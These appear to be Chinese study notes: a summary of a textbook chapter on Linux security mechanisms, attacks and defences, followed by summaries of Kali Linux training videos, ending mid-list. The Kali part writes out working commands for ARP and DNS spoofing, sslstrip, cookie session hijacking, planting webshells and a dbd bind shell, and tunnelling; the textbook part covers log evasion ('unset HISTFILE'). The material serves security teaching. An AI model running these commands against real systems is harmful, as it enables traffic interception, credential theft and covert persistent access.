课本第八章总结
1.Linux操作系统发展与现状
在统一内核代码库的基础上,Linux开源社区根据不同用户群体的需求,也发展出数量众多的操作系统发行版,流行的包括Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。Linux操作系统之所以会成为目前最受关注的系统之一,主要原因是它的开放源代码与免费。
2.Linux具有以下的优势
①跨平台的硬件支持(Linux操作系统的内核大部分是用C语言编写的,并采用了可移植的UNIX标准应用程序接口)②丰富的软件支持③多用户多任务(多个用户可以在同一时间以网络联机的方式使用计算机系统)④可靠的安全性(利用Linux自带防火墙、入侵检测和安全认证等工具,及时修补系统的漏洞,就能大大提高Linux系统的安全性)⑤良好的稳定性(Linux内核源代码是以标准规范的32位(在64位CPU上是64位)的计算机来做的最佳化设计,可确保其系统的稳定性)⑥完善的网络功能。
3.Linux系统结构
一套基于Linux内核的完整操作系统叫做Linux操作系统,Linux操作系统的结构包括Linux内核,一些GUN运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。Linux操作系统内核的总体结构属于一种典型的宏内核结构,并非Linux的前驱——Minix所采用的微内核结构。在Linux内核中,在硬件抽象层的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM机制装载或卸载。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块通过系统调用接口向用户态的GUN运行库及工具、命令行Shell、X窗口以及应用软件提供服务。
4. Linux进程与线程管理机制
Linux内核采用抢占式多用户多进程模式,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和 CPU等资源情况来选择进程进行执行。
5. Linux的内存管理机制
Linux内存管理模块允许多个进程安全地共享物理内存区域。Linux的内存管理支持虚拟内存,在32位的i386机器上,每个进程拥有独立的4GB虚拟内存空间,内核的代码与数据段被映射到3GB以上的空间,而用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。
6. Linux的文件系统管理机制
Linux内核使用了虚拟文件管理VFS机制,通过设备驱动程序访问特定硬件设备,VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数。Ext家族文件系统是Linux内核中缺省采用的文件系统格式,使用索引节点来记录文件信息,作用类似于Windows FAT32文件系统的分配表,包含了文件长度、创建及修改时间、权限、所属关系、磁盘中位置等信息。
7. Linux的设备控制机制
Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。字符设备直接读/写,没有缓冲区。块设备只能按照一个块(一般是512字节或者1024字节)的倍数进行读/写,通过buffer cache访问,随机存取;网络设备则通过BSD socket网络接口进行访问。大多数的设备驱动程序都是通过LKM可动态加载内核模块机制。
8. Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络设备驱动程序负责与硬件设备通信。
9. Linux的系统调用机制
Linux内核通过上述五个方面的机制实现了操作系统基本的硬件管理与系统功能,这些内核模块都运行在CPU的核心态,而应用程序则运行于用户态。Linux提供了系统调用接口,来允许应用程序透过这层接口来访问硬件设备和其他系统资源。Linux的系统调用通过软件中断实现。
10. Linux操作系统的核心安全机制
身份认证、授权与访问控制、安全审计这三部分。
11. Linux身份认证机制
Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用Linux操作系统。
12.Linux用户
在Linux系统中以用户作为执行进程完成特定操作任务的主体:①Root根用户②普通用户③系统用户。Linux用户信息保存在系统的/etc/password文件中,具体包括用户名、每个用户唯一的uid、使用Shell类型、用户初始目录等,而加密口令字则存放于/etc/shadow文件中,只对Root可读。
13.Linux用户组
Linux用户组其实就是具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在系统的/etc/group文件中,包括用户组名称、用户组gid及用户组所包含的用户名列表,用户组加密口令字则保存在/etc/gshadow文件中。可以使用id-a命令来查询和显示当前用户所属组,并通过groupadd命令添加用户组,使用usermod-G group_name user name向特定组来添加用户。
14.Linux的本地登陆用户认证机制
Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,登录login进程通过Crypt()函数来对用户输入的口令进行验证。
15. Linux的远程登录用户认证机制
目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:第一种方式为基于口令的身份认证;第二种方式为基于非对称密钥的身份认证。基于非对称密钥的身份认证机制能够有效地抵御会话劫持中间人攻击,较基于口令的认证机制更具安全性。
16. Linux的统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。而PAM服务模块的开发者则利用PAM SPI来编写认证模块。PAM核心库则读取配置文件。PAM支持的四种管理界面如下:①认证管理②账户管理③密码管理④会话管理。
17. Linux授权与访问控制机制
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统资源的管理。所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。文件的所有者可以通过chown命令进行修改。文件的访问权限通过所附带的10个标志位来进行设置。每个用户的专属初始目录的默认权限为rwx------。特权常见的是SUID与SGID权限。
18. Linux访问控制机制的不足及改进
只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理。
19. Linux的安全审计机制主要通过三个主要的日志子系统来实现
①连接时间日志②进程统计日志③错误日志记录。Linux系统事件日志在文件系统中的存储路径集中在/var/log目录。除了这些事件日志之外,Linux内核还集成了审计守护进程。
20.针对Linux系统的攻击也遵循着系统攻击统一的逻辑流程
攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标Linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,来获取本地Shell访问权,而一旦获得Shell访问权,攻击者就已经在目标Linux系统上获得了立足之地,而转入本地攻击的环节,通常会利用各类提权技术获取Linux系统最高的Root用户权限,之后就可以根据他们的入侵意图而为所欲为了。
21.远程网络上入侵Linux系统的主要方法
①对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击②发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权③通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段④在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
22.支持攻击者进行自动化的远程口令字猜测工具
Brutus、THC Hydra、Cain and Abel。针对远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字。可以通过严格的口令字管理制度和措施来帮助服务器的管理员和用户们来完成这个目标,具体包括:①确保每个用户都有自己的有效账户和口令字②对于特权账户应避免直接远程登录③口令长度应至少达到8个字符,并包含字母数字和标点符号④对多次认证失败进行记录,并在多次无效登陆之后断掉连接⑤不要再自己可登陆的每个系统上都使用相同的口令字⑥不要笔录自己的口令字,更不能将它告诉其他人⑦最好根本不用口令字,而使用基于公钥证书的身份认证机制。
23.应对远程口令猜测攻击还拥有很多实践措施,包括
①在非标准端口上运行容易遭受远程口令猜测攻击的服务②使用一些口令猜测攻击检测与防御软件③使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围。
24. Linux网络服务远程渗透攻击
网络服务软件中的安全漏洞是黑客们的攻击得以奏效的本质原因。Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台。
25.LAMP Web网站构建解决方案中的网络服务
LAMP是目前最为流行的Web网站构建解决方案,以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为Web应用程序的后台数据存储,而以PHP语言来开发与实现Web应用程序。MySQL服务监听于TCP3306端口。PHP作为目前Web开发中流行的一种动态脚本语言,在LAMP架构中以Apache服务的模块扩展(mod¬_php)支持方式,来支持以PHP语言开发的Web应用程序集成入LAMP架构中,为互联网用户提供动态的网页内容。
26.FTP、Samba等文件共享服务
Linux系统支持多种不同的文件共享服务协议,如传统的FTP服务,与Windows的SMB协议相兼容从而支持Windows网络访问的Samba服务,以及类UNIX系统中继承而来的NFS服务。FTP服务用于文件交换和共享传输,FTP服务一般监听TCP20和21端口,其中21端口用于控制命令传输,而20端口则用于数据传输。ProFTPD是一款以安全性和灵活可配置性为设计目标的FTP服务软件。vs-ftpd是目前在Linux发行版中最受推崇的FTP服务程序,特点是小巧轻快,安全易用。vs-ftpd从设计与实现源头就以安全性为最重要的目标,在基本设计上避免使用危险的Root账户权限,并使用了包括权能、chroot在内的一些强大的Linux安全机制,采用大量的安全编程技术来避免程序出现缓冲溢出漏洞。Samba是用来让Linux等类UNIX的操作系统与微软的Windows系统SMB/CIFS网络协议相连接的网络服务,在TCP445端口上监听。
27.针对网络服务远程渗透攻击的安全防范措施
①禁用所有不必要的网络服务②尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署(在这些协议中,FTP的安全性最为薄弱,应该尽量避免使用,而SSH/SFTP除了对身份认证过程中的敏感登陆信息进行加密传输之外,对所有通过网络传输的文件内容也进行了加密,因此安全性是最高的。在选定网络协议与具体的网络服务软件之后,网络管理员下一步要做的是根据一份最佳安全配置实践指导来架设网络服务,其中需要特别重视的是一定要修改网络服务的默认口令和一些不安全配置)③及时更新网络服务版本(网络管理员是否能够及时地更新网络服务软件,是决定服务器系统安全性的关键所在)④使用xinetd、防火墙为Linux网络服务添加网络访问控制机制(xinetd是由inetd和TCP Wrapper发展而来的一套网络访问控制机制,提供了Linux系统中启动一些控制网络服务,并增强其安全性的一套解决方案)⑤建立入侵检测与应急响应计划流程(在网关位置部署Snort NIDS并进行正确有效的配置,此外也可以选择在关键的服务器系统上安装OSSEC等HIDS系统,监控系统上的入侵行为,还需要建立起一套完整的应急响应计划体系)。
28.攻击Linux客户端程序和用户
除了网络服务之外,Linux系统的客户端程序和用户也是攻击者实施远程渗透攻击的一种可能途径。
29.针对客户端和用户攻击的安全防范措施
为了有效防御客户端软件渗透攻击,Linux系统用户应尽量保证常用的网络客户端软件的及时更新,在Linux的发行版中提供了对所有软件包的自动更新机制,只要系统用户具备定期更新软件的意识,就能够较好地避免客户端软件由于已公开的安全漏洞而被攻击者所利用。应对社会工程学攻击则主要取决于用户自身的安全意识、经验与心智能力,了解各种社会工程学技术也将有助于用户提高自身的抗欺骗能力,从而能够对大部分常见的低级骗术所免疫。
30.攻击Linux路由器和监听器
Linux系统最容易让人忽视的就是作为路由器和监听器网络设备时,在进行路由转发或者数据包嗅探时,所遭受的特殊数据包攻击。Linux系统上用于网络嗅探的libpcap/tcpdump/wireshark,用于实现路由与包过滤的netfilter/iptables,以及用于网络入侵检测和防御的Snort。
31.攻击Linux路由器和防火墙
Linux系统通过简单地配置“ip_forward=1”就能够以路由器模式运行,Linux内核中由net子系统的route.c来主要实现路由器的寻址与数据包的转发功能,而一旦这些实现中存在漏洞,就可能被攻击者利用实施拒绝服务攻击。Linux系统在作为路由器的同时,还可以通过IPTables工具来配置内核中net子系统的netfilter模块,来对通过路由转发的数据包进行控制与过滤,从而作为防火墙来对网络实施保护。
32.攻击监听器或入侵检测器
Linux系统上用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统。tcpdump存在大量拒绝服务、缓冲区溢出和本地特权提升漏洞。
33.针对路由器与监听器攻击的安全防范措施
具体而言,网络管理员首先应意识到网络与安全设备的自身的安全性与可用性也是非常关键,对于所维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补,另外,网络管理员在构建网络的安全防御、检测与相应体系时,还需要站在攻击者角度,掌握攻击者的渗透入侵技术手段,并尝试进行渗透攻击测试,以 确保所采用的防御体系不会被普通攻击者所轻易绕过,也需要关注所使用的各种安全设备与软件自身的安全性,看他们是否存在公开已知的安全漏洞与弱点,并进行及时的修补,从而避免诸如使用网络监听器与入侵检测系统却反而因此被攻击者入侵这样的事发生。
34. 本地特权提升攻击
尽管通过远程渗透以特权账户权限运行的服务进程可能直接获得Root权限,但大多数情况下攻击者通常先获取到的是受限的服务账号权限,他们还需要把获得的用户权限提升到Root,才能够完全控制所攻陷的Linux系统。这一过程就是所谓的本地特权提升攻击。
35. Linux本地特权提升
需要Root权限配置与管理系统时,通过su或者sudo命令提升至Root用户帐户。攻击者在得到本地受限用户访问权之后,最简单的特权提升途径就是能够破解出Root用户的口令,然后执行su或者sudo命令进行提升。读取口令字密文文件/etc/shadow本身就需要攻击者具有Root特权。通过利用一些以Root特权运行服务中存在的文件任意读/写漏洞,攻击者还是可以先获取到/ect/shadow文件,然后通过破解口令字将自身权限提升至Root特权用户。第二种特权提升途径是发掘并利用su或者sudo程序中的安全漏洞。攻击者在Linux系统上进行本地特权提升目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行漏洞,让它们替攻击者打开具有Root权限的Shell命令行连接。根据受攻击目标程序的类型,这类途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞。在用户态被设置了SUID位的网络服务与程序,可以在运行过程中提升至文件拥有的权限,来执行一些系统资源相关的操作。最后一种本地特权提升技术则利用了系统中的一些配置不当,通过从系统中搜索全局可写的敏感文件与目录位置并加以利用,仅拥有首先用户权限的攻击者可能让操作系统或特权程序执行一些他们所预期的操作,从而获得特权提升的机会。
36. Linux用户口令字破解
/etc/shadow文件中的记录行是与/etc/passwd文件一一对应的,每一行都记录着Linux系统中一个用户账户的登陆凭证密文信息,格式则与/etc/passwd非常类似,即由若干个字段组成,字段之间用“:”隔开,具体字段包括如下:登录名、口令、最后一次修改时间、最小间隔时间、最大间隔时间、警告时间、不活动时间、失效时间。其中最为关键的字段就是“口令”字段,该字段以“$”作为分隔符,又分为使用算法编号、salt值和加密之后的口令哈希值,使用算法包括缺省的DES经典加密算法、MD5哈希算法、Blowfish加密算法和SHA哈希算法,salt值长度随算法不同从2~12字节不等,口令哈希值的具体长度也取决于所使用的不同加密算法,从13个字符至24个字符不等,使用base64进行编码。Linux系统在设置用户口令时,将根据配置选择加密或哈希算法,并采用随机生成的salt值,对用户口令字进行加密,并将口令哈希值存放于/etc/shadow文件中,而当用户使用login进程进行登录时,系统将用户输入口令进行相同的哈希运算,然后对比最后获得的口令哈希值是否与/etc/shadow文件中的一致,从而来认证用户的合法身份。口令破解攻击成功的前提还在于用户设置了容易落入字典文件中的弱口令。Linux系统上进行口令字破解的经典软件工具是John the Ripper,在业内也被称为John,John工具是一款免费的口令破解软件,John工具支持字典攻击和暴力破解两种方式,字典攻击从被称为Wordlish的字典文件中选择字符串,应用口令密文文件中指定的算法及salt值进行加密,并对比加密之后的哈希值以确定猜测的字符串是否是真实口令。破解Linux用户口令的前提条件是攻击者能够获取到/etc/shadow文件。
37.利用用户态SUID程序漏洞进行特权提升
Su/sudo命令程序是Linux系统上进行用户权限合法提升的标准途径。Linux系统中用户态带有SUID特殊权限位的软件是本地特权提升攻击最主要的目标对象之一。在Linux系统中,每个进程都拥有真实UID与有效UID,真实UID初始是运行该进程的用户ID,而有效UID则是指进程当前实际继承权限的用户ID,主要用于校验权限时使用。用户能更改口令在于用于更改口令的命令passwd,它的权限位设置是“-rwsr-xr-x 1 root root 22960 Jul 17 2006 /usr/bin/passwd”,从中我们看到它被设置了一个特殊的权限标记s,即特殊权限SUID,可以这样来理解它:当一个具有执行权限的文件设置SUID权限后,用户执行这个文件时将以文件所有者的身份执行。Passwd命令具有SUID权限。
38.针对SUID程序的本地缓冲区溢出攻击
在本地利用时,大多数情况下,缓冲区溢出攻击大多是以设置SUID权限位且所有者用户为Root的程序,从而能够在溢出之后通过向目标程序中注入攻击者恶意构造的攻击负载代码,以Root用户权限来执行命令给出Shell。Ettercap是一款在交换网络中进行中间人共计实施网络监听的著名开源软件。
39.针对SUID程序的符号链接攻击
符号连接用于包含一条以绝对路径或相对路径形式指向其他文件或目录的引用。在Linux等类UNIX系统中,可以执行“In –s target_filename symlink_fliename”命令来对目标文件target_filename创建一个符号链接symlink_filename,这样程序访问symlink_filename时,就会通过符号链接直接访问至目标文件。
40.针对SUID程序的竞争条件攻击
竞争条件漏洞通常由于一些软件并没有遵循操作的原子性特性而存在,在进程操作某个信号量时,可能由于其他进程同时对其操作而造成不可预期的后果,比较普通的是被称为TOCTOU的一种漏洞,即程序在检查某一条件和使用检查结果的时间中间存在着一些延迟,而在这个时间窗口中,攻击者可能在另外进程中对已经通过检查的条件进行更改,使得攻击目标程序在使用时所操作的对象已经被变更了。这种漏洞的利用往往与符号链接攻击相结合。
41.针对SUID程序的共享函数库攻击
共享函数库是Linux系统中类似于Windows系统动态链接库DLL的一种函数库动态加载机制,允许可执行文件在执行阶段从某个公共的函数库中调用一些功能代码片段。
42.利用内核空间代码漏洞进行特权提升
由于操作系统内核态代码拥有对系统的完整控制权,因此成为了攻击者实施本地特权提升非常重要的一种渠道。除了Linux内核本身之外,在Linux系统的内核态还运行着一些第三方硬件厂商所编写的内核驱动程序,利用这些程序中的安全漏洞,攻击者可以实施本地特权提升攻击。
43.利用系统配置不当实施本地特权提升
常见的系统配置不当造成本地特权提升的主要隐患包括Root所有的SUID程序,以及全局可写的文件。清点系统上的每个SUID程序及类似的SGID特权程序,并根据使用手册、用户文档、HOWTO及互联网上的他人建议来审查这些程序是否确实需要特权,对不需要特权的程序去除其SUID/SGID位将有助于减少系统的攻击面,提升系统的安全性。另外一个常见的系统配置不当是将敏感的文件设置为全局可写,或者某些系统在运行时动态地产生出一些全局可写的文件,全局可写文件意味着系统上的任何用户,包括可能潜在的攻击者,都可以随意地修改这些文件。
44.针对Linux本地特权提升攻击的防范技术与措施
看紧这些拥有特权的代码,才是防止Linux服务器被普通用户获取Root根用户权限的关键。对于一些不必要设置SUID特权的程序,应尽量地加以移除,而确实需要SUID特权的程序软件包,管理员应该更加将其加入自己的优先关注列表,通过配置软件自动更新计划任务,并更频繁地关注和了解这些软件包所被发现的零日安全漏洞,从而避免遭受针对这些SUID特权程序的本地提权攻击危害。
45. Linux系统上的消踪灭迹
Linux系统的主要审计日志集中在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。查看/etc/syslog.conf配置文件内容,来了解系统当前正在实施的审计事件类型以及日志的存储位置。在/var/log目录下攻击者往往需要改动messages、auth、secure、wtmp和xferlog等日志文件,对于文本格式的文件,使用vi、emacs等文本编辑工具就可以进行日志清理操作。Linux系统中的很多Shell程序都记录运行过的历史使命,以提供检索和重复执行命令的功能。攻击者还可以通过“unset HISTFILE;unset SAVEHIST”命令来禁止Shell的历史记录功能特性。应对日志清理攻击的一种方法途径是将日志信息写到难以修改的媒介上,支持只许添加标志扩展属性的文件系统就是这样的一种媒介。更好更容易实施的方法是使用syslog网络日志机制把关键的日志信息发送到另一台严密防护的安全日志服务器上去。
46. Linux系统远程控制后门程序
Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。最常见的Linux系统后门是提供远程命令行Shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统Shell与客户端进行交互。攻击者最为常用的是著名的图形化远程控制免费软件VCN。在Linux系统上植入后门工具之后,攻击者为了隐藏后门的存在以防止被系统管理员发现,往往还会通过Rootkit技术在系统上隐藏后门程序的进程、文件和开放端口。内核态的Rootkit更是能够将后门程序完全对系统应用层进行隐藏,无论管理员在用户层使用何种工具软件和技术。
kali视频第31~35集总结
kali视频第31集Kali漏洞利用之SET总结
Social Enginnering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学套件,通常结合metasploit来使用。漏洞工具集/social Engineering Toolkit/setoolkit
- 菜单选项1是社会工程学攻击,2是Fast-Track渗透测试,3是第三方模块
输入1回车,有11个模块
1.鱼叉式钓鱼攻击
2.网站攻击
3.介质感染攻击
4.创建Payload并监听
5.群发邮件攻击
6.基于Arduino的攻击
7.短信欺骗攻击
8.无线接入点攻击
9.二维码攻击
10.powershell攻击
11.第三方模块
继续选择1 鱼叉式钓鱼攻击
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件,相应的payload可以选择不同的漏洞。
此时开放一个webServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。
继续选择4 创建Payload和监听器
与Metasploit给出的Payload类似
继续选择5 群发邮件攻击
支持导入列表并向列表中的每个人发送邮件
继续选择8 无线接入点攻击
无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。
输入2 Fast-Track攻击模块
kali视频第32集Kali嗅探欺骗与中间人攻击总结
Linux下的中间人攻击套路是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
(1)为Kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward 修改为1
(2)设置ssltrip
为了劫持SSL数据,需要https数据变为http:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
让sslrtip在8081端口监听:
sslstrip -l 8081
(3)ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0
然后找到linux分类下的if you use iptables这一行,将注释(“#”号)去掉,打开转发。
(4)Ettercap使用
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list。
(5)Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
(6)会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。
(7)图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。
(8)DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。
(9)URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
(10)下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
kali视频第33集权限维持之后门总结
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
WEB后门
(1)Weevely
Weevely是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。
生成一个php后门,test为密码,在本地生成~/1.php
后门上传到web,使用weevely连接
打开Metasploitable2
nano 1.php 复制生成文件内容到其中
weevely http://192.168.75.132/1.php
(2)WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。
生成一个webshell:
上传到网站后,使用webacoo连接:
webacoo -t -u http://192.168.75.132/2.php
通过加入:执行本地命令,不加则借助webshell执行命令。
(3)Cymothoa系统后门
cymothoa -跑10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell
(4)dbd理解为加密版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password
(5)sbd和dbd用法相同
(6)U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。
(7)Intersect
列出可以使用的模块
创建脚本
自由添加功能组件,生成一个shell
将生成的py文件拖出
mv /usr/share/intersect/Scripts/shell.py ~/1.py
执行后门,在目标机上执行 1.py -b,则生成一个bind shell后门,如果之前设置好remote host和remote port,也可以设置为reverse shell
此时连接后门端口成功,返回shell:
kali视频第34集Kali权限维持之Tunnel总结
权限维持包括Tunnel工具集、web后门、系统后门三个子类。Tunnel工具集包含了一系列用于建立通信隧道、代理的工具:
(1)CryptCat
Netcat大家都很熟悉了,有网络工具中的瑞士军刀之称,但是它本身建立的隧道是不加密的,于是有了cryptcat。与dbd/sbd使用也类似。
(2)DNS2TCP
DNS tunnel即DNS通道。从名字上看就是利用DNS查询过程建立起隧道,传输数据。
在酒店等公共场所,通常有wifi信号,但当访问第一个网站时,可能会弹出窗口,需要输入用户名密码,登陆后才可以继续上网(该技术一般为透明http代理)。但有时会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。
DNS tunnel原理
通过特定服务器,让局域网内的DNS服务器为我们实现数据转发。DNS tunnel实现的工具有很多,比如:OzymanDNS, tcp-over-dns, heyoks, iodine, dns2tcp
(3)Iodine
(4)Miredo
Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
(5)Proxychains
内网渗透测试经常会用到一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。
如proxychain namp 10.0.0.1/24
(6)Proxytunnel
Proxytunnel可以通过标准的Https代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行Http(s)传输
Prosytunnel可用于:
使用http(s)代理(http connect 命令)创建通讯通道
为OpwnSSH写一个客户端驱动,并创建基于SSH连接的http(s)代理
作为一个独立的应用,可以连接到远程服务器
(7)Ptunnel
借助ICMP数据包建立隧道通信
(8)Pwant
内网下通过UDP通信
(9)Socat
可以在不同协议上进行转发数据
(10)sslh
一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和open连接。这使得通过443端口连接ssh服务器或者open服务器同时在该端口上提供https服务成为可能。sslh可以作为一个研究端口复用的例子。
kali视频第35集Kali逆向工程工具总结
逆向工程是根据已有的东西和结果,通过分析来推导具体的实现方法。比如看到别人的某个exe程序能够做出某种漂亮的动画效果,可以通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程;不仅仅是反编译,而且还要推倒出设计,并且文档化,逆向软件工程的目的是使软件得以维护。
(1)Edb-Debugger
EDB(Evan's Debugger)是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。
(2)Ollydbg
经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的Ollydbg。
(4)Redare2
